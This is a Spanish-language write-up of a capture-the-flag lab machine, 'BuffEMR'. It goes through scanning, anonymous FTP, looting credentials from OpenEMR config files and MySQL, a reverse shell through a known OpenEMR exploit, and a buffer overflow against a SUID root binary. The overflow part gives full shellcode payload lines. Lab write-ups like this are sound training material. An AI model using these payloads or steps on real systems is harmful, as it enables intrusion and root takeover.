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BuffEMR 
 

1. Enumeración 
Para saber la IP de la máquina a la que nos vamos a enfrentar, tenemos que ejecutar el 

comando arp-scan. En este caso, 192.168.237.129 

 

Ahora que sabemos la IP, realizamos un Ping a la máquina víctima. Parece que estamos ante 

una máquina Linux. 

 

Realizamos un escaneo exhaustivo para conocer los servicios y versión correspondientes a los 

puertos abiertos que presenta la máquina víctima. 
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Si revisamos el codename, vemos que estamos ante una versión de Ubuntu Bionic. 

 

 

2. Análisis de vulnerabilidades 
Lo primero que vemos es que está abierto el puerto 21 (FTP) y permite logarnos de forma 

anónima. Nos descargamos el contenido de la siguiente forma: 

• wget -r ftp://anonymous@192.168.237.129   

 

Si revisamos el contenido, vemos un directorio llamado “openemr”. 
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Abrimos un navegador y revisamos el contenido de la página web que la máquina, en el puerto 

80, está sirviendo. Es la página por defecto de Apache. Revisamos el código fuente, pero no 

vemos nada de interés. 

 

 

Puede ser que el contenido de la web, esté siendo compartido por el servicio de FTP. Intentamos 

acceder http://192.168.237.129/openemr/ y vemos la web. Probamos las credenciales por 

defecto y no funcionan. Probamos otras típicas y tampoco. 

 

Con el comando “tree” exploramos el directorio que nos hemos descargado.  

• tree -L 3 192.168.237.129   

Nos llama la atención un directorio test. Investigamos su contenido. 

http://192.168.237.129/openemr/
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• Usuario: admin 

• Monster123 

 

Con estas credenciales, ganamos acceso al aplicativo. 

 

 

Si navegamos hasta “about” podemos ver la versión a la que nos estamos enfrentando. 

 

 

3. Explotación e intrusión 
Si buscamos vulnerabilidades conocidas de esa versión, tenemos una vía potencial de ejecutar 

comandos, estando autenticados. 

 

 

Nos ponemos en escucha con NC.  
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Ejecutamos el exploit, mandando una “Reverse Shell” y ganamos acceso a la máquina víctima. 

 

 

Realizamos el tratamiento de la TTY habitual y realizamos una exploración del sistema. 

Consultando que usuario somos, vemos que somos www-data y no pertenecemos a ningún 

grupo interesante. 

 

Comprobamos si tenemos privilegios de sudo, pero nos pide credenciales que de momento no 

tenemos. 

 

Miramos ficheros con permisos de SUID. Aislado al pkexec, no vemos nada de interés. 

 

Comprobamos las “capabilities” disponibles, pero tampoco vemos nada que nos llame la 

atención. 
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Si consultamos el /etc/passwd, vemos que existe un usuario llamado “buffemr”. Vamos a ver si 

se acontece un reaprovechamiento de credenciales. Probamos con ssh a conectarnos con el 

usuario “buffemr” y la clave “Monster123”, que obtuvimos anteriormente. Pero no funciona.  

 

Miramos los puertos abiertos, por si podemos aprovecharnos de algún servicio que esté 

corriendo, pero que no esté expuesto externamente. Vemos que está corriendo MySQL.  

 

 

Revisamos el contenido que nos descargamos por FTP, para ver si tenemos credenciales.  

 

Revisamos cada fichero hasta que llegamos a “./openemr/sites/default/sqlconf.php”. 

Conseguimos unas nuevas credenciales. 

 

• Usuario: openemruser 

• Clave: openemruser123456 

Como no, intentamos ver de nuevo si se reaprovechan las credenciales, con el usuario 

“buffemr”, pero seguimos sin poder conectarnos por SSH. 

Nos conectamos al servicio de MySQL con dichas credenciales. 

 

Encontramos una nueva credencial. 
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Decodificamos esa password, que está en base64 obteniendo: san3ncrypt3d 

Probamos por si se trata de la contraseña de “buffemr”, pero no. Revisamos el árbol de 

directorios y encontramos un fichero sospechoso. 

 

Nos traemos el fichero a nuestra máquina atacante con netcat. Probamos a descomprimir el 

fichero con la clave san3ncrypt3d, pero no funciona. Lo intentamos con la clave sin decodificar 

(c2FuM25jcnlwdDNkCg==). 

 

Revisamos el contenido del fichero. 

 

Usuario: buffemr 

Clave: Iamgr00t 

Probamos a conectarnos por SSH y ganamos acceso como buffemr. 
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4. Escalada de privilegios 
Revisamos ficheros con privilegios, y encontramos un fichero interesante. 

 

Si revisamos el fichero, vemos que tiene permisos de SUID y que su propietario es root. 

 

Si lo ejecutamos, con un parámetro muy largo, vemos que el programade un error no 

controlado. Quizá se acontezca un BOF. 

 

Nos traemos el fichero a nuestra máquina atacante y comprobamos las protecciones del 

sistema. El NX no está habilitado, por lo que podremos meter instrucciones “shell code”. 

 

Abrimos el fichero con el programa gdb. Le pasamos un parámetro “Hola” y vemos que el 

programa termina correctamente. 

 

Ahora tenemos que saber cuánto “junk” (caracteres para sobrescribir el EIP) necesitamos. 

Vamos a crearnos un patrón con pattern create. 

 

Ejecutamos de nuevo el programa, dentro del debugger gef, con el patrón obtenido. Para 

calcular el número de caracteres necesarios, podemos ejecutar “pattern offset $eip”. 
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Para comprobarlo, lo hacemos de la siguiente forma: 

 

Vemos que el eip se ha sobrescrito con “BBBB”. 

 

Para evitar los pequeños desajustes de ejecutarlo dentro del gef y fuera, vamos a meternos 

NOPs (No Operation Code, x90). 

Buscamos un shellcode en Google. 

 

Y nos copiamos el shellcode:  

 

Como un una shellcode de 33 bytes, se lo tenemos que restar a los 512. Que nos da 479. Por lo 

que nuestro patrón quedaría de la siguiente forma: 

 

• r $(python3 -c 'print("\x90"*479 + 

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73

\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "B"*4)') 

 

Lo ejecutamos ahora en la máquina víctima: 
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Podemos ver los valores actuales: 

 

Vemos la pila: 

 

Los 0x90909090 son los NOPs que hemos metido. Nuestra shell code empieza a partir de lo 

marcado en rojo. 

 

• r $(python -c 'print "\x90"*479 + 

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73

\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "\x10\xd6\xff\xff"') 

 

Vemos que nos ejecuta la bash, y esto es buena señal. Lo ejecutamos directamente en la shell 

y conseguirnos ganar acceso como root. 

 

 


